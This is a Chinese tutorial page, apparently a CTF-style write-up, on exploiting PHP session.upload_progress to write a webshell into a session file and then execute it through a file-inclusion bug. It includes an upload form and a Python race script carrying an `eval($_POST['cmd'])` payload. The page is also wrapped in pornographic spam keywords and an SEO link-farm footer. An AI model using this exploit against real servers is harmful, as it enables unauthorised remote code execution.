电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術(shù)文章
文章詳情頁

使用session upload_progress實現(xiàn)文件包含實例詳解

瀏覽:145日期:2022-06-06 13:50:06
目錄
  • 前言
  • 基礎知識
    • session.upload_progress
  • 攻擊方法
    • 例題
      • 結(jié)語

        前言

        該思路是很久之前在CTF比賽中學習到的,可以簡單理解為利用session.upload_progress來進行文件競爭從而達到上傳文件進行文件包含或者命令執(zhí)行的目的,可能大部分人會不理解,我們下面我們展開來講。

        基礎知識

        session.upload_progress

        首先我們要先學習什么是session.upload_progress,可以簡單理解為文件上傳進度,在php官方文檔里可以找到描述:

        在這里面有幾個很重要的函數(shù),我們簡單看一下:

        session.upload_progress.enabled = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

        第一個顯而易見是設定是否開啟該功能,第二個cleanup則是是否在上傳后刪除文件,第三個為設置前綴,第四個為session中的鍵值,那么他們有什么用呢?我們就可以在phpinfo里查看這些信息是否開啟以此來判斷能不能利用該漏洞。

        攻擊方法

        我們攻擊思路就是利用session.upload_progress來將木馬寫入到session里面,但這里有兩個問題:

        問題一:代碼里沒有session_start,我們?nèi)绾蝿?chuàng)建session文件呢?

        首先我們先看看session里面有一個很重要的選項:

        session.use_strict_mode //默認值為off。

        我們可以自己定義sessionid,假如我們定義sessionid為xino,則PHP將會在服務器上創(chuàng)建一個文件:/tmp/sess_xino”。即使我們沒有初始化Session,PHP也會自動初始化Session。 并產(chǎn)生一個鍵值,這個鍵值由:

        ini.get("session.upload_progress.prefix")+由我們構(gòu)造的session.upload_progress.name值組成

        最后被寫入sess_文件里。

        問題二:上面的cleanup設置會刪除數(shù)據(jù),我們要如何防止數(shù)據(jù)被刪除呢?

        所以這里需要我們文件競爭不斷發(fā)包直至上傳成功,之后再讀取session文件所在路徑即可。類似于下圖,可以搭配burpsuite使用:

        之后我們即可進行文件包含或者RCE攻擊,總結(jié)一下該漏洞的利用條件:

        存在文件包含漏洞

        知道session文件存放路徑,可以嘗試默認路徑

        具有讀取和寫入session文件的權(quán)限

        下面給大家?guī)硪粋€例題。

        例題

        進入題目首先看看題目源碼:

        限制了我們很多東西,只能使用沒有后綴的文件進行文件包含所以想到通過session.upload_progress來進行文件包含,因為我們需要上傳一個東西,所以我們先寫一個簡單的文件上傳點:

        <!DOCTYPE html><html><body><form action="http://ctf" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" value="submit" /></form></body></html>

        之后我們進行發(fā)包抓包然后重放,查看回顯成功后我們訪問/tmp/sess_flag,發(fā)現(xiàn)命令執(zhí)行了:

        我們將之前發(fā)包文件里面的ls命令改為cat flag的文件名即可進行命令執(zhí)行,也是抓包重放查看返回長度不一樣的包:

        如果不喜歡手動我這里從網(wǎng)上找了一個自動化腳本,大家也可以嘗試一下:

        import ioimport requestsimport threadingsessid = "FLAG"data = {"cmd":"system("ls");"}def write(session):    while True:f = io.BytesIO(b"a" * 1024 * 50)resp = session.post( "http://127.0.0.1/session.php", data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST["cmd"]);?>"}, files={"file": ("1.txt",f)}, cookies={"PHPSESSID": sessid} )def read(session):    while True:resp = session.post("http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_"+sessid,data=data)if "1.txt" in resp.text:    print(resp.text)    event.clear()else:    print("[+++++++++++++]retry")if __name__=="__main__":    event=threading.Event()    with requests.session() as session:for i in range(1,30):     threading.Thread(target=write,args=(session,)).start()for i in range(1,30):    threading.Thread(target=read,args=(session,)).start()    event.set()

        結(jié)語

        今天給大家?guī)淼氖莝ession.upload_progress文件包含漏洞,因為需要一些網(wǎng)絡安全基礎可能部分讀者不太明白,這里有興趣的小伙伴可以自己去了解一下找個現(xiàn)成的靶機去嘗試一下,更多關(guān)于session upload_progress文件包含的資料請關(guān)注其它相關(guān)文章!

        標簽: PHP
        主站蜘蛛池模板: 煤矿人员精确定位系统_矿用无线通信系统_煤矿广播系统 | 钢衬四氟管道_钢衬四氟直管_聚四氟乙烯衬里管件_聚四氟乙烯衬里管道-沧州汇霖管道科技有限公司 | 合金耐磨锤头_破碎机锤头_郑州市德勤建材有限公司 | 热熔胶网膜|pes热熔网膜价格|eva热熔胶膜|热熔胶膜|tpu热熔胶膜厂家-苏州惠洋胶粘制品有限公司 | SDG吸附剂,SDG酸气吸附剂,干式酸性气体吸收剂生产厂家,超过20年生产使用经验。 - 富莱尔环保设备公司(原名天津市武清县环保设备厂) | 智能电表|预付费ic卡水电表|nb智能无线远传载波电表-福建百悦信息科技有限公司 | 大通天成企业资质代办_承装修试电力设施许可证_增值电信业务经营许可证_无人机运营合格证_广播电视节目制作许可证 | 北京包装设计_标志设计公司_包装设计公司-北京思逸品牌设计 | 蔬菜配送公司|蔬菜配送中心|食材配送|饭堂配送|食堂配送-首宏公司 | 卫生纸复卷机|抽纸机|卫生纸加工设备|做卫生纸机器|小型卫生纸加工需要什么设备|卫生纸机器设备多少钱一台|许昌恒源纸品机械有限公司 | 金属软管_不锈钢金属软管_巩义市润达管道设备制造有限公司 | 医疗仪器模块 健康一体机 多参数监护仪 智慧医疗仪器方案定制 血氧监护 心电监护 -朗锐慧康 | 背压阀|减压器|不锈钢减压器|减压阀|卫生级背压阀|单向阀|背压阀厂家-上海沃原自控阀门有限公司 本安接线盒-本安电路用接线盒-本安分线盒-矿用电话接线盒-JHH生产厂家-宁波龙亿电子科技有限公司 | elisa试剂盒价格-酶联免疫试剂盒-猪elisa试剂盒-上海恒远生物科技有限公司 | 粉末冶金-粉末冶金齿轮-粉末冶金零件厂家-东莞市正朗精密金属零件有限公司 | 青岛侦探调查_青岛侦探事务所_青岛调查事务所_青岛婚外情取证-青岛狄仁杰国际侦探公司 | 安驭邦官网-双向万能直角铣头,加工中心侧铣头,角度头[厂家直销] 闸阀_截止阀_止回阀「生产厂家」-上海卡比阀门有限公司 | 电抗器-能曼电气-电抗器专业制造商 | 酒糟烘干机-豆渣烘干机-薯渣烘干机-糟渣烘干设备厂家-焦作市真节能环保设备科技有限公司 | 地脚螺栓_材质_标准-永年县德联地脚螺栓厂家 | 北京印刷厂_北京印刷_北京印刷公司_北京印刷厂家_北京东爵盛世印刷有限公司 | 广州工业氧气-工业氩气-工业氮气-二氧化碳-广州市番禺区得力气体经营部 | 贵州自考_贵州自学考试网| 【中联邦】增稠剂_增稠粉_水性增稠剂_涂料增稠剂_工业增稠剂生产厂家 | 螺旋绞龙叶片,螺旋输送机厂家,山东螺旋输送机-淄博长江机械制造有限公司 | 元拓建材集团官方网站 | 【直乐】河北石家庄脊柱侧弯医院_治疗椎间盘突出哪家医院好_骨科脊柱外科专业医院_治疗抽动症/关节病骨伤权威医院|排行-直乐矫形中医医院 | 国产频谱分析仪-国产网络分析仪-上海坚融实业有限公司 | 合肥礼品公司-合肥礼品定制-商务礼品定制公司-安徽柏榽商贸有限公司 | 赛默飞Thermo veritiproPCR仪|ProFlex3 x 32PCR系统|Countess3细胞计数仪|371|3111二氧化碳培养箱|Mirco17R|Mirco21R离心机|仟诺生物 | 动库网动库商城-体育用品专卖店:羽毛球,乒乓球拍,网球,户外装备,运动鞋,运动包,运动服饰专卖店-正品运动品网上商城动库商城网 - 动库商城 | 电主轴-高速精密电主轴-高速电机厂家-瑞德沃斯品牌有限公司 | 健康管理师报名入口,2025年健康管理师考试时间信息网-网站首页 塑料造粒机「厂家直销」-莱州鑫瑞迪机械有限公司 | 知企服务-企业综合服务(ZiKeys.com)-品优低价、种类齐全、过程管理透明、速度快捷高效、放心服务,知企专家! | 美侍宠物-专注宠物狗及宠物猫训练|喂养|医疗|繁育|品种|价格 | 环球电气之家-中国专业电气电子产品行业服务网站! | 高速龙门架厂家_监控杆_多功能灯杆_信号灯杆_锂电池太阳能路灯-鑫世源照明 | 翻斗式矿车|固定式矿车|曲轨侧卸式矿车|梭式矿车|矿车配件-山东卓力矿车生产厂家 | 翰香原枣子坊加盟费多少钱-正宗枣核糕配方培训利润高飘香 | 市政路灯_厂家-淄博信达电力科技有限公司 | 河南砖机首页-全自动液压免烧砖机,小型砌块水泥砖机厂家[十年老厂] |